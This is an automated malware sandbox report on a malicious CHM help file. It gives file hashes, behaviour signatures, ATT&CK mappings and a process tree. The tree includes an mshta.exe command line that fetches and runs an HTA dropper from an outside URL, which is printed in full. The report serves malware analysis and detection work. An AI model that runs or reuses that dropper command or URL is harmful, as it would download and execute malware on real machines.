e6d9c5a401a733ceb80b004deb347092affe572eda4e1ca6aa6c77bb0c6ea7e8

Analysis

max time kernel
146s
max time network
149s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
12/04/2023, 03:36

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General

Target

a13fb4e11b31d109a1b145f20ea4b929.chm
Size

186KB
MD5

a13fb4e11b31d109a1b145f20ea4b929
SHA1

6f0f2c3ee8a9a69808d23966fecf0f4b0782ed4c
SHA256

e6d9c5a401a733ceb80b004deb347092affe572eda4e1ca6aa6c77bb0c6ea7e8
SHA512

b81d653bdb852e25283f302c2ae82e10ddbce9276b3dc8603c56d25bcdaaa9705db1d9a802931adcd5fbf82ab8d704051164dd5011cfb3dae6db4c9887e00383
SSDEEP

3072:RbKi0Oh8ptx6O2ZEULuXPG+gmi52vebQyOZbFlTaE8dgko48P8XU:R+i068BpuERfG1mi5oestZbFlT1Jkv8h

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://attiferstudio.com/install.bak/sony/6.html

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	1932	mshta.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\Main	hh.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: 33	1852	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	1852	AUDIODG.EXE
Token: 33	1852	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	1852	AUDIODG.EXE

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1808	hh.exe
1808	hh.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1808 wrote to memory of 1932	1808	hh.exe	29
PID 1808 wrote to memory of 1932	1808	hh.exe	29
PID 1808 wrote to memory of 1932	1808	hh.exe	29

C:\Windows\hh.exe
"C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\a13fb4e11b31d109a1b145f20ea4b929.chm
1⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1808
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" http://attiferstudio.com/install.bak/sony/6.html ,
  2⤵
  - Blocklisted process makes network request
  - Modifies Internet Explorer settings
  PID:1932

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0xc8
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1852

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1808-74-0x000007FFFFF80000-0x000007FFFFF90000-memory.dmp

Filesize
64KB

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